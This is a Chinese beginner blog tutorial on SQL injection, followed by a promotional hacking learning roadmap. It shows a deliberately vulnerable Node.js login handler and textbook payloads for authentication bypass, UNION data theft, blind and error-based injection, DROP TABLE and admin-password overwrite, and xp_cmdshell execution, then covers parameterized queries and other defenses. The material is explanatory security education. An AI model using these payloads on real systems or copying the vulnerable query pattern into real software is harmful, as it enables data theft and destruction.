2025想做黑客?先来学习 SQL 注入,零基础入门到精通,收藏这篇就够了_sql注入有必要认真学吗

SQL 注入(SQL Injection)是一种常见的网络攻击手段,攻击者通过在 Web 应用程序的输入字段中插入恶意 SQL 代码,欺骗后台数据库执行非授权的 SQL 语句。

SQL 注入可以用于获取、篡改或删除数据库中的数据,甚至可以用于执行系统命令,导致数据泄露、数据破坏或服务器被控制等严重后果。

1、SQL 注入的工作原理
  • **对用户输入验证不足:**当 Web 应用程序没有正确验证用户输入时,攻击者可以在输入字段中插入 SQL 代码。

  • **拼接 SQL 语句:**应用程序后端通常将用户输入与 SQL 查询拼接在一起,形成完整的数据库查询语句。

  • **执行恶意 SQL:**如果应用程序没有对输入进行适当的转义,恶意 SQL 代码将被数据库服务器执行。

  • **数据泄露或破坏:**攻击者可以利用 SQL 注入来查询、修改或删除数据库中的数据,或者执行数据库管理系统的系统命令。

当用户登录网站时,通常会输入用户名和密码。

以下是一段正常的 SQL 查询代码:

SELECT * FROM users WHERE username = 'user1' AND password = 'password1';




如果攻击者输入:






用户名:**admin' --**  
密码:**anything**




SQL 查询变成:

SELECT * FROM users WHERE username = 'admin' --' AND password = 'anything';


其中 是 SQL 的注释符号,忽略了密码条件,直接绕过了身份验证。

比如以下代码,就会出现被注入的情况:

const express = require('express');``const mysql = require('mysql');``   ``const app = express();``app.use(express.json());``   ``const connection = mysql.createConnection({`    `host: 'localhost',`    `user: 'root',`    `password: 'password',`    `database: 'testdb'``});``   ``app.post('/login', (req, res) => {`    `const { username, password } = req.body;``   `    `// 不安全的 SQL 查询`    ``const query = `SELECT * FROM users WHERE username = '${username}' AND password = '${password}'`;`````connection.query(query, (error, results) => {`        `if (error) {`            `return res.status(500).send('Database error');`        `}`        `if (results.length > 0) {`            `res.send('Login successful');`        `} else {`            `res.send('Invalid username or password');`        `}`    `});``});``   ``app.listen(3000, () => {`    `console.log('Server running on http://localhost:3000');``});


2、常见 SQL 注入
2.1、基础型 SQL 注入

直接将恶意 SQL 代码嵌入用户输入中,并影响查询逻辑。



输入用户名:**admin' OR '1'='1**  
输入密码:**anything**




执行的 SQL 查询:

SELECT * FROM users WHERE username = 'admin' OR '1'='1' AND password = 'anything';


结果:

OR ‘1’=‘1’ 总为 true,可以绕过验证。

2.2、UNION 查询注入

通过 UNION 将攻击者构造的查询结果与合法查询结果合并,从而获取敏感数据。

输入:

' UNION SELECT null, username, password FROM users --


执行的 SQL 查询:

SELECT id, name FROM products WHERE id = '' UNION SELECT null, username, password FROM users --';


结果:

将 users 表的 username 和 password 数据作为结果返回。

2.3、错误型 SQL 注入

通过故意触发数据库错误,利用错误信息推测表名、列名或数据。

输入:

' AND 1=CONVERT(int, (SELECT @@version)) --


执行的 SQL 查询:

SELECT * FROM users WHERE username = '' AND 1=CONVERT(int, (SELECT @@version)) --';


结果:

错误信息可能暴露数据库版本或其他信息。

2.4、盲注

无法直接获取查询结果,攻击者通过判断返回页面的响应(如布尔值或时间延迟)来逐步推测数据。

布尔型盲注,输入:

' AND (SELECT 1 WHERE SUBSTRING((SELECT database()), 1, 1)='t') --


执行的 SQL 查询:

SELECT * FROM users WHERE username = '' AND (SELECT 1 WHERE SUBSTRING((SELECT database()), 1, 1)='t') --';


结果:

根据返回结果判断数据库名首字母是否为 t。

时间盲注,输入:

' AND IF(1=1, SLEEP(5), 0) --


执行的 SQL 查询:

SELECT * FROM users WHERE username = '' AND IF(1=1, SLEEP(5), 0) --';


结果:

如果条件成立,服务器会延迟 5 秒响应,从而泄露信息。

2.5、堆叠查询注入

允许多条 SQL 语句同时执行。

输入:

'; DROP TABLE users; --


执行的 SQL 查询:

SELECT * FROM users WHERE username = ''; DROP TABLE users; --';


结果:

users 表被删除。

当然,也可以执行修改管理员密码的SQL命令:

SELECT * FROM users WHERE username = ''; UPDATE users set  password='123456' where user='admin'; --';


某些数据库(如 MySQL)默认不支持多语句执行。

2.6、存储过程注入

利用存储过程的输入参数注入恶意 SQL。

输入:

'; EXEC xp_cmdshell('dir'); --


执行的 SQL:

EXEC LoginProcedure 'username', ''; EXEC xp_cmdshell('dir'); --'


结果:

执行系统命令(如列出目录)。

2.7、Cookie 注入

利用修改浏览器存储的 Cookie 值进行注入。

Cookie: session_id=' OR '1'='1;


服务器在解析 Cookie 时执行了恶意 SQL。

3、防范措施

3.1、参数化查询和预编译语句

使用参数化查询或预编译语句,将用户输入与 SQL 语句分离,避免用户输入被直接解析为 SQL 代码。

Java 代码:

String sql = "SELECT * FROM users WHERE username = ? AND password = ?";``PreparedStatement pstmt = connection.prepareStatement(sql);``pstmt.setString(1, username);``pstmt.setString(2, password);``ResultSet rs = pstmt.executeQuery();


Node.js (MySQL 模块):

const query = "SELECT * FROM users WHERE username = ? AND password = ?";``connection.query(query, [username, password], (err, results) => {`    `if (err) throw err;`    `// Handle results``});


3.2、使用 ORM 框架

核心思路 ORM(如 Hibernate、Sequelize 等)通过自动生成 SQL 查询,大幅减少手动拼接 SQL 的机会,从而避免注入。

// 使用 Sequelizeconst user = await User.findOne({` `where: { username: 'admin', password: 'password123' }});

3.3、输入验证

严格检查用户输入是否符合预期,拒绝不符合规则的输入。

对用户名、邮箱等使用正则表达式,数值类型字段只允许数字输入。

对特殊字符进行转义(如 " 转为 \")。

const username = req.body.username.replace(/[^a-zA-Z0-9]/g, ''); // 清理特殊字符


3.4、限制数据库权限

为数据库用户分配最小权限,只允许执行必要的操作。

  • **限制写入权限:**只允许插入、更新的用户操作对应的表,不允许 DROP、ALTER 等高危操作。

  • **分离读写权限:**使用只读账号访问数据库。

创建一个只读用户:

CREATE USER 'readonly_user'@'%' IDENTIFIED BY 'secure_password';``   ``GRANT SELECT ON database_name.* TO 'readonly_user'@'%';


3.5、定期安全测试

通过安全扫描工具或手动测试,定期检查代码中的潜在 SQL 注入漏洞。

我们可以使用开源工具 SQLMap 来测试。

SQLMap 是一个专门用于自动化进行 SQL 注入检测和利用的渗透测试工具。

SQLMap 广泛应用于网络安全评估和渗透测试中,帮助发现和修复SQL注入漏洞。

SQL 官方地址:https://sqlmap.org/

SQLMap 开源地址:https://github.com/sqlmapproject/sqlmap

黑客/网络安全学习路线
今天只要你给我的文章点赞,我私藏的网安学习资料一样免费共享给你们,来看看有哪些东西。

网络安全学习资源分享:

下面给大家分享一份2025最新版的网络安全学习路线资料,帮助新人小白更系统、更快速的学习黑客技术!

网络安全学习路线&学习资源

在这里插入图片描述

网络安全的知识多而杂,怎么科学合理安排?

下面给大家总结了一套适用于网安零基础的学习路线,应届生和转行人员都适用,学完保底6k!就算你底子差,如果能趁着网安良好的发展势头不断学习,日后跳槽大厂、拿到百万年薪也不是不可能!

初级网工

1、网络安全理论知识(2天)

①了解行业相关背景,前景,确定发展方向。
②学习网络安全相关法律法规。
③网络安全运营的概念。
④等保简介、等保规定、流程和规范。(非常重要)

2、渗透测试基础(一周)

①渗透测试的流程、分类、标准
②信息收集技术:主动/被动信息搜集、Nmap工具、Google Hacking
③漏洞扫描、漏洞利用、原理,利用方法、工具(MSF)、绕过IDS和反病毒侦察
④主机攻防演练:MS17-010、MS08-067、MS10-046、MS12-20等

3、操作系统基础(一周)

①Windows系统常见功能和命令
②Kali Linux系统常见功能和命令
③操作系统安全(系统入侵排查/系统加固基础)

4、计算机网络基础(一周)

①计算机网络基础、协议和架构
②网络通信原理、OSI模型、数据转发流程
③常见协议解析(HTTP、TCP/IP、ARP等)
④网络攻击技术与网络安全防御技术
⑤Web漏洞原理与防御:主动/被动攻击、DDOS攻击、CVE漏洞复现

5、数据库基础操作(2天)

①数据库基础
②SQL语言基础
③数据库安全加固

6、Web渗透(1周)

①HTML、CSS和JavaScript简介
②OWASP Top10
③Web漏洞扫描工具
④Web渗透工具:Nmap、BurpSuite、SQLMap、其他(菜刀、漏扫等)

恭喜你,如果学到这里,你基本可以从事一份网络安全相关的工作,比如渗透测试、Web 渗透、安全服务、安全分析等岗位;如果等保模块学的好,还可以从事等保工程师。薪资区间6k-15k

到此为止,大概1个月的时间。你已经成为了一名“脚本小子”。那么你还想往下探索吗?

“脚本小子”成长进阶资源领取

7、脚本编程(初级/中级/高级)

在网络安全领域。是否具备编程能力是“脚本小子”和真正黑客的本质区别。在实际的渗透测试过程中,面对复杂多变的网络环境,当常用工具不能满足实际需求的时候,往往需要对现有工具进行扩展,或者编写符合我们要求的工具、自动化脚本,这个时候就需要具备一定的编程能力。在分秒必争的CTF竞赛中,想要高效地使用自制的脚本工具来实现各种目的,更是需要拥有编程能力.

零基础入门,建议选择脚本语言Python/PHP/Go/Java中的一种,对常用库进行编程学习; 搭建开发环境和选择IDE,PHP环境推荐Wamp和XAMPP, IDE强烈推荐Sublime; ·Python编程学习,学习内容包含:语法、正则、文件、 网络、多线程等常用库,推荐《Python核心编程》,不要看完; ·用Python编写漏洞的exp,然后写一个简单的网络爬虫; ·PHP基本语法学习并书写一个简单的博客系统; 熟悉MVC架构,并试着学习一个PHP框架或者Python框架 (可选); ·了解Bootstrap的布局或者CSS。

8、超级网工

这部分内容对零基础的同学来说还比较遥远,就不展开细说了,贴一个大概的路线。感兴趣的童鞋可以研究一下,不懂得地方可以【点这里】加我耗油,跟我学习交流一下。

网络安全工程师企业级学习路线

如图片过大被平台压缩导致看不清的话,可以【点这里】加我耗油发给你,大家也可以一起学习交流一下。

一些我自己买的、其他平台白嫖不到的视频教程:

需要的话可以扫描下方卡片加我耗油发给你(都是无偿分享的),大家也可以一起学习交流一下。
在这里插入图片描述

结语

网络安全产业就像一个江湖,各色人等聚集。相对于欧美国家基础扎实(懂加密、会防护、能挖洞、擅工程)的众多名门正派,我国的人才更多的属于旁门左道(很多白帽子可能会不服气),因此在未来的人才培养和建设上,需要调整结构,鼓励更多的人去做“正向”的、结合“业务”与“数据”、“自动化”的“体系、建设”,才能解人才之渴,真正的为社会全面互联网化提供安全保障。

特别声明:

此教程为纯技术分享!本书的目的决不是为那些怀有不良动机的人提供及技术支持!也不承担因为技术被滥用所产生的连带责任!本书的目的在于最大限度地唤醒大家对网络安全的重视,并采取相应的安全措施,从而减少由网络安全而带来的经济损失!!!

评论
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值